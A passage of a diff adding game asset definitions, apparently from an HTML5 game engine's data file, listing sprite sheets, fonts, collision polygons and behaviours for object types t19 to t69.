+ 875894333008362
+ ]
+ ],
+ false,
+ false,
+ 207966845070439,
+ [],
+ null
+ ],
+ [
+ "t19",
+ 9,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/coinsfont4.png",
+ 2205,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 402771117720778,
+ [],
+ null
+ ],
+ [
+ "t20",
+ 9,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/coinsfont4.png",
+ 2205,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 149570523758443,
+ [],
+ null
+ ],
+ [
+ "t21",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 794492903312532,
+ [
+ [
+ "images/sprite105-sheet0.png",
+ 2407,
+ 0,
+ 0,
+ 396,
+ 70,
+ 1,
+ 0.3914141356945038,
+ 0.300000011920929,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 388359743701757
+ ]
+ ],
+ false,
+ false,
+ 564039553455319,
+ [],
+ null
+ ],
+ [
+ "t22",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 560623618741038,
+ [
+ [
+ "images/sprite106-sheet0.png",
+ 2618,
+ 0,
+ 0,
+ 114,
+ 96,
+ 1,
+ 0.5526315569877625,
+ 0.5104166865348816,
+ [],
+ [
+ -0.3947365581989288,
+ -0.3854166865348816,
+ 0.3157894611358643,
+ -0.3854166865348816,
+ 0.3157894611358643,
+ 0.3854163289070129,
+ -0.4035085439682007,
+ 0.3541663289070129
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 438036022573690
+ ]
+ ],
+ false,
+ false,
+ 544646580590830,
+ [],
+ null
+ ],
+ [
+ "t23",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 660428188798922,
+ [
+ [
+ "images/sprite107-sheet0.png",
+ 2148,
+ 0,
+ 0,
+ 107,
+ 101,
+ 1,
+ 0.5046728849411011,
+ 0.5049505233764648,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 267096544108387
+ ]
+ ],
+ false,
+ false,
+ 389768017652762,
+ [],
+ null
+ ],
+ [
+ "t24",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 106860142200735,
+ [
+ [
+ "images/sprite109-sheet0.png",
+ 2867,
+ 0,
+ 0,
+ 843,
+ 98,
+ 1,
+ 0.5005931258201599,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 755801028152722,
+ [],
+ null
+ ],
+ [
+ "t25",
+ 9,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/coinsfont10.png",
+ 2205,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 335572803013506,
+ [],
+ null
+ ],
+ [
+ "t26",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "a1",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 302135981759413,
+ [
+ [
+ "images/sprite128-sheet1.png",
+ 2259,
+ 1,
+ 60,
+ 60,
+ 57,
+ 1,
+ 0.5,
+ 0.5087719559669495,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "a2",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 551163318999434,
+ [
+ [
+ "images/sprite128-sheet1.png",
+ 2259,
+ 63,
+ 60,
+ 60,
+ 57,
+ 1,
+ 0.5,
+ 0.5087719559669495,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "a3",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 666229895099073,
+ [
+ [
+ "images/sprite128-sheet0.png",
+ 1479,
+ 1,
+ 60,
+ 70,
+ 57,
+ 1,
+ 0.4571428596973419,
+ 0.4912280738353729,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "a4",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 905613521304308,
+ [
+ [
+ "images/sprite128-sheet2.png",
+ 1484,
+ 0,
+ 0,
+ 60,
+ 57,
+ 1,
+ 0.6333333253860474,
+ 0.3859649002552033,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "a5",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 558739868113209,
+ [
+ [
+ "images/sprite128-sheet0.png",
+ 1479,
+ 1,
+ 1,
+ 75,
+ 57,
+ 1,
+ 0.4666666686534882,
+ 0.5789473652839661,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "a6",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 338876378044588,
+ [
+ [
+ "images/sprite128-sheet1.png",
+ 2259,
+ 1,
+ 1,
+ 65,
+ 57,
+ 1,
+ 0.4615384638309479,
+ 0.4912280738353729,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 655738907504699
+ ]
+ ],
+ false,
+ false,
+ 637394124015129,
+ [],
+ null
+ ],
+ [
+ "t27",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 721886492431687,
+ [
+ [
+ "images/sprite130-sheet0.png",
+ 2271,
+ 0,
+ 0,
+ 120,
+ 108,
+ 1,
+ 0.5416666865348816,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 187426052135351
+ ]
+ ],
+ false,
+ false,
+ 778300279239563,
+ [],
+ null
+ ],
+ [
+ "t28",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 505446489710595,
+ [
+ [
+ "images/sprite-sheet0.png",
+ 1588,
+ 0,
+ 0,
+ 1051,
+ 583,
+ 1,
+ 0.5004757642745972,
+ 0.6861063241958618,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 269144783498692,
+ [],
+ null
+ ],
+ [
+ "t29",
+ 9,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/levelfont.png",
+ 8610,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 232433153056655,
+ [],
+ null
+ ],
+ [
+ "t30",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 722135220831351,
+ [
+ [
+ "images/sprite49-sheet0.png",
+ 1495,
+ 0,
+ 0,
+ 189,
+ 46,
+ 1,
+ 0.682539701461792,
+ 0.52173912525177,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 545691305294760,
+ [],
+ null
+ ],
+ [
+ "t31",
+ 9,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/levelfont3.png",
+ 8610,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 256842238877583,
+ [],
+ null
+ ],
+ [
+ "t32",
+ 9,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/levelfont.png",
+ 8610,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 453595823160573,
+ [],
+ null
+ ],
+ [
+ "t33",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/levelfont5.png",
+ 2469,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 917517742711686
+ ]
+ ],
+ false,
+ false,
+ 788111526176089,
+ [],
+ null
+ ],
+ [
+ "t34",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 744066165336786,
+ [
+ [
+ "images/sprite118-sheet0.png",
+ 575,
+ 0,
+ 0,
+ 82,
+ 21,
+ 1,
+ 0.5121951103210449,
+ 0.523809552192688,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 613778328360797,
+ [],
+ null
+ ],
+ [
+ "t35",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 849132544295179,
+ [
+ [
+ "images/sprite119-sheet0.png",
+ 586,
+ 0,
+ 0,
+ 82,
+ 21,
+ 1,
+ 0.5121951103210449,
+ 0.523809552192688,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 218707070713432,
+ [],
+ null
+ ],
+ [
+ "t36",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 165769783587695,
+ [
+ [
+ "images/sprite120-sheet0.png",
+ 583,
+ 0,
+ 0,
+ 120,
+ 21,
+ 1,
+ 0.5083333253860474,
+ 0.523809552192688,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 291297528363925,
+ [],
+ null
+ ],
+ [
+ "t37",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 983020840826044,
+ [
+ [
+ "images/sprite138-sheet0.png",
+ 328,
+ 0,
+ 0,
+ 38,
+ 16,
+ 1,
+ 1.473684191703796,
+ 1.8125,
+ [],
+ [
+ -1.473684191703796,
+ -1.8125,
+ -0.4736841917037964,
+ -1.8125,
+ -0.4736841917037964,
+ -0.8125,
+ -0.4736841917037964,
+ -0.8125,
+ -1.473684191703796,
+ -0.8125
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 792064777976401,
+ [],
+ null
+ ],
+ [
+ "t38",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 556976388913713,
+ [
+ [
+ "images/sprite54-sheet0.png",
+ 829,
+ 0,
+ 0,
+ 137,
+ 25,
+ 1,
+ 0.5036496520042419,
+ 0.5199999809265137,
+ [],
+ [],
+ 2
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 923007747177845,
+ [],
+ null
+ ],
+ [
+ "t39",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 552672164452360,
+ [
+ [
+ "images/sprite33-sheet0.png",
+ 729,
+ 0,
+ 0,
+ 287,
+ 82,
+ 1,
+ 0.4982578456401825,
+ 0.3170731663703919,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 983458579591306,
+ [],
+ null
+ ],
+ [
+ "t40",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 254907698830243,
+ [
+ [
+ "images/sprite52-sheet0.png",
+ 2903,
+ 0,
+ 0,
+ 202,
+ 21,
+ 1,
+ 0.04950495064258575,
+ 0.523809552192688,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 401353389089997,
+ [],
+ null
+ ],
+ [
+ "t41",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 336934911447621,
+ [
+ [
+ "images/sprite55-sheet0.png",
+ 7055,
+ 0,
+ 0,
+ 390,
+ 34,
+ 1,
+ 0.3282051384449005,
+ 0.7058823704719543,
+ [
+ [
+ "Imagepoint 1",
+ 0.771794855594635,
+ 0.5
+ ]
+ ],
+ [
+ -0.3282051384449005,
+ 0.2941176295280457,
+ -0.3282051384449005,
+ -0.7058823704719543,
+ 0.6717948913574219,
+ -0.7058823704719543,
+ 0.6717948913574219,
+ 0.2941176295280457
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 798010134393654
+ ]
+ ],
+ false,
+ false,
+ 945420256490698,
+ [],
+ null
+ ],
+ [
+ "t42",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 846534236367129,
+ [
+ [
+ "images/sprite79-sheet0.png",
+ 6337,
+ 0,
+ 0,
+ 390,
+ 30,
+ 1,
+ 0.6000000238418579,
+ 0.5,
+ [
+ [
+ "Imagepoint 1",
+ 0.7666666507720947,
+ 0.5333333611488342
+ ]
+ ],
+ [
+ 0.1461549997329712,
+ 0.2666659951210022,
+ 0.1487189531326294,
+ -0.300000011920929,
+ 0.3999999761581421,
+ -0.1333329975605011,
+ 0.3897429704666138,
+ 0
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 140631626234399
+ ],
+ [
+ "Bullet",
+ 15,
+ 809659558589292
+ ]
+ ],
+ false,
+ false,
+ 256585147436207,
+ [],
+ null
+ ],
+ [
+ "t43",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 488072247932807,
+ [
+ [
+ "images/sprite10-sheet0.png",
+ 7567,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 764007451737680
+ ],
+ [
+ "Sine2",
+ 13,
+ 890352719415795
+ ]
+ ],
+ false,
+ false,
+ 962754336747344,
+ [],
+ null
+ ],
+ [
+ "t44",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 870953675425161,
+ [
+ [
+ "images/sprite13-sheet0.png",
+ 5488,
+ 1,
+ 83,
+ 467,
+ 80,
+ 1,
+ 0.5010706782341003,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "Animation2",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 259462308241094,
+ [
+ [
+ "images/sprite13-sheet0.png",
+ 5488,
+ 1,
+ 1,
+ 800,
+ 80,
+ 1,
+ 0.5012500286102295,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 915743713637665,
+ [],
+ null
+ ],
+ [
+ "t45",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 183491931033605,
+ [
+ [
+ "images/sprite14-sheet0.png",
+ 968,
+ 0,
+ 0,
+ 305,
+ 38,
+ 1,
+ 0.5016393661499023,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 970696941184687,
+ [],
+ null
+ ],
+ [
+ "t46",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 869924139353041,
+ [
+ [
+ "images/sprite27-sheet0.png",
+ 2742,
+ 0,
+ 0,
+ 200,
+ 62,
+ 1,
+ 0.5049999952316284,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 431923213236176,
+ [],
+ null
+ ],
+ [
+ "t47",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Animation2",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 670739399479102,
+ [
+ [
+ "images/sprite31-sheet0.png",
+ 21652,
+ 1,
+ 1,
+ 128,
+ 125,
+ 1,
+ 0.515625,
+ 0.5199999809265137,
+ [],
+ [
+ -0.28125,
+ -0.2879999876022339,
+ 0.2578129768371582,
+ -0.2879999876022339,
+ 0.265625,
+ 0.2400000095367432,
+ -0.28125,
+ 0.2400000095367432
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 962284723138038,
+ [
+ [
+ "images/sprite31-sheet0.png",
+ 21652,
+ 1,
+ 128,
+ 128,
+ 125,
+ 1,
+ 0.515625,
+ 0.5199999809265137,
+ [],
+ [
+ -0.28125,
+ -0.2879999876022339,
+ 0.2578129768371582,
+ -0.2879999876022339,
+ 0.265625,
+ 0.2400000095367432,
+ -0.28125,
+ 0.2400000095367432
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 192742205996532,
+ [],
+ null
+ ],
+ [
+ "t48",
+ 12,
+ false,
+ [
+ 797014181220839
+ ],
+ 4,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 812525431616691,
+ [
+ [
+ "images/sprite79-sheet0.png",
+ 6337,
+ 0,
+ 0,
+ 390,
+ 30,
+ 1,
+ 0.7743589878082275,
+ 0.5333333611488342,
+ [],
+ [
+ -0.7692307829856873,
+ 0.1999996304512024,
+ -0.7692307829856873,
+ -0.2000003755092621,
+ -0.005128979682922363,
+ -0.2000003755092621,
+ 0.06794798374176025,
+ -0.3833333551883698,
+ 0.2256410121917725,
+ -0.004166364669799805,
+ 0.07019203901290894,
+ 0.404166579246521,
+ -0.00384598970413208,
+ 0.183332622051239
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 421285502486859
+ ],
+ [
+ "Physics",
+ 16,
+ 555558196369358
+ ],
+ [
+ "Solid",
+ 17,
+ 264028937702837
+ ],
+ [
+ "Fade",
+ 18,
+ 753053815654645
+ ]
+ ],
+ false,
+ false,
+ 597295388174419,
+ [],
+ null
+ ],
+ [
+ "t49",
+ 12,
+ false,
+ [
+ 166055933392140
+ ],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 450678983576427,
+ [
+ [
+ "images/sprite79-sheet0.png",
+ 6337,
+ 0,
+ 0,
+ 390,
+ 30,
+ 1,
+ 0.7743589878082275,
+ 0.5333333611488342,
+ [],
+ [
+ -0.7692307829856873,
+ 0.1999996304512024,
+ -0.7692307829856873,
+ -0.2000003755092621,
+ -0.005128979682922363,
+ -0.2000003755092621,
+ 0.06794798374176025,
+ -0.3833333551883698,
+ 0.2256410121917725,
+ -0.004166364669799805,
+ 0.07019203901290894,
+ 0.404166579246521,
+ -0.00384598970413208,
+ 0.183332622051239
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 402724471470917
+ ],
+ [
+ "Fade",
+ 18,
+ 222858921915526
+ ]
+ ],
+ false,
+ false,
+ 424989531165127,
+ [],
+ null
+ ],
+ [
+ "t50",
+ 12,
+ false,
+ [
+ 858092928484351
+ ],
+ 3,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 458049663737247,
+ [
+ [
+ "images/sprite79-sheet0.png",
+ 6337,
+ 0,
+ 0,
+ 390,
+ 30,
+ 1,
+ 0.7743589878082275,
+ 0.5333333611488342,
+ [],
+ [
+ -0.7692307829856873,
+ 0.1999996304512024,
+ -0.7692307829856873,
+ -0.2000003755092621,
+ -0.005128979682922363,
+ -0.2000003755092621,
+ 0.06794798374176025,
+ -0.3833333551883698,
+ 0.2256410121917725,
+ -0.004166364669799805,
+ 0.07019203901290894,
+ 0.404166579246521,
+ -0.00384598970413208,
+ 0.183332622051239
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 183850880228864
+ ],
+ [
+ "Fade",
+ 18,
+ 380690847925718
+ ],
+ [
+ "Physics",
+ 16,
+ 106845211374283
+ ]
+ ],
+ false,
+ false,
+ 276237468158349,
+ [],
+ null
+ ],
+ [
+ "t51",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/livefont.png",
+ 4846,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 841286907366588
+ ]
+ ],
+ false,
+ false,
+ 954380231111618,
+ [],
+ null
+ ],
+ [
+ "t52",
+ 9,
+ false,
+ [],
+ 2,
+ 0,
+ [
+ "images/damagefont.png",
+ 2468,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 488905147210329
+ ],
+ [
+ "Fade",
+ 18,
+ 422743400325231
+ ]
+ ],
+ false,
+ false,
+ 331536015354591,
+ [],
+ null
+ ],
+ [
+ "t53",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/livefont2.png",
+ 2469,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 102779295915180
+ ]
+ ],
+ false,
+ false,
+ 207318488351816,
+ [],
+ null
+ ],
+ [
+ "t54",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 321460873691336,
+ [
+ [
+ "images/sprite71-sheet0.png",
+ 1492,
+ 0,
+ 0,
+ 72,
+ 28,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Fade",
+ 18,
+ 496413683416262
+ ]
+ ],
+ false,
+ false,
+ 165130026868010,
+ [],
+ null
+ ],
+ [
+ "t55",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/livefont2.png",
+ 2469,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 719395158280894
+ ]
+ ],
+ false,
+ false,
+ 252081900110313,
+ [],
+ null
+ ],
+ [
+ "t56",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/livefont2.png",
+ 2469,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 684300997662041
+ ]
+ ],
+ false,
+ false,
+ 275489923582356,
+ [],
+ null
+ ],
+ [
+ "t57",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/livefont2.png",
+ 2469,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 808770178142355
+ ]
+ ],
+ false,
+ false,
+ 335756593430936,
+ [],
+ null
+ ],
+ [
+ "t58",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 10,
+ true,
+ 1,
+ 0,
+ false,
+ 134941791834834,
+ [
+ [
+ "images/sprite104-sheet0.png",
+ 1005,
+ 0,
+ 0,
+ 33,
+ 33,
+ 1,
+ 0.5151515007019043,
+ 0.5151515007019043,
+ [],
+ [
+ -0.03030350804328919,
+ -0.4772726893424988,
+ 0.4204545021057129,
+ 0.01136350631713867,
+ -0.02272748947143555,
+ 0.4280304908752441,
+ -0.4810605943202972,
+ -0.007575511932373047
+ ],
+ 0
+ ],
+ [
+ "images/sprite104-sheet1.png",
+ 743,
+ 0,
+ 0,
+ 33,
+ 33,
+ 1,
+ 0.5151515007019043,
+ 0.5151515007019043,
+ [],
+ [
+ -0.03030350804328919,
+ -0.4772726893424988,
+ 0.4204545021057129,
+ 0.01136350631713867,
+ -0.02272748947143555,
+ 0.4280304908752441,
+ -0.4810605943202972,
+ -0.007575511932373047
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 829238240861592
+ ]
+ ],
+ false,
+ false,
+ 442358269106116,
+ [],
+ null
+ ],
+ [
+ "t59",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/livefont2.png",
+ 2469,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 345622020784905
+ ]
+ ],
+ false,
+ false,
+ 155231427647959,
+ [],
+ null
+ ],
+ [
+ "t60",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/livefont2.png",
+ 2469,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 131060889389160
+ ]
+ ],
+ false,
+ false,
+ 365753524009418,
+ [],
+ null
+ ],
+ [
+ "t61",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/livefont2.png",
+ 2469,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 877017767117133
+ ]
+ ],
+ false,
+ false,
+ 602138840899462,
+ [],
+ null
+ ],
+ [
+ "t62",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 334745192755145,
+ [
+ [
+ "images/rotatescreen-sheet0.png",
+ 40798,
+ 0,
+ 0,
+ 1920,
+ 1080,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.375,
+ -0.5,
+ 0.375,
+ -0.5,
+ 0.375,
+ 0.5,
+ -0.375,
+ 0.5
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 752258416508068,
+ [],
+ null
+ ],
+ [
+ "t63",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/livefont.png",
+ 4846,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 302201872576102
+ ]
+ ],
+ false,
+ false,
+ 950037209303602,
+ [],
+ null
+ ],
+ [
+ "t64",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/livefont.png",
+ 4846,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 639645060532670
+ ]
+ ],
+ false,
+ false,
+ 695670562289861,
+ [],
+ null
+ ],
+ [
+ "t65",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 222460531674714,
+ [
+ [
+ "images/sprite76-sheet0.png",
+ 1301,
+ 0,
+ 0,
+ 60,
+ 41,
+ 1,
+ 0.5,
+ 0.5121951103210449,
+ [],
+ [
+ -0.4333333075046539,
+ -0.3902441263198853,
+ 0.449999988079071,
+ -0.3902441263198853,
+ 0.4166669845581055,
+ 0.3658539056777954,
+ -0.4333333075046539,
+ 0.3658539056777954
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 664759014330101
+ ]
+ ],
+ false,
+ false,
+ 215087638035782,
+ [],
+ null
+ ],
+ [
+ "t66",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 791249295848448,
+ [
+ [
+ "images/sprite108-sheet0.png",
+ 4965,
+ 0,
+ 0,
+ 211,
+ 142,
+ 1,
+ 0.5687204003334045,
+ 0.5563380122184753,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 199282602030633,
+ [],
+ null
+ ],
+ [
+ "t67",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 625760205152795,
+ [
+ [
+ "images/sprite113-sheet0.png",
+ 3092,
+ 0,
+ 0,
+ 72,
+ 72,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Rotate",
+ 19,
+ 383677895045633
+ ]
+ ],
+ false,
+ false,
+ 829709757706199,
+ [],
+ null
+ ],
+ [
+ "t68",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 376859154740160,
+ [
+ [
+ "images/sprite115-sheet0.png",
+ 59633,
+ 0,
+ 0,
+ 701,
+ 614,
+ 1,
+ 0.503566324710846,
+ 0.5732899308204651,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 774466420040429
+ ]
+ ],
+ false,
+ false,
+ 620393354268477,
+ [],
+ null
+ ],
+ [
+ "t69",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 30,
+ false,
+ 1,
+ 0,
+ false,
+ 390711034410576,
+ [
+ [
+ "images/sprite22se-sheet0.png",
+ 138060,
+ 1,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet0.png",
+ 138060,
+ 329,
+ 1,
+ 326,
+ 1056,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite22se-sheet0.png",
+ 138060,
+ 657,
+ 1,
+ 326,
+ 1056,
+ 1,
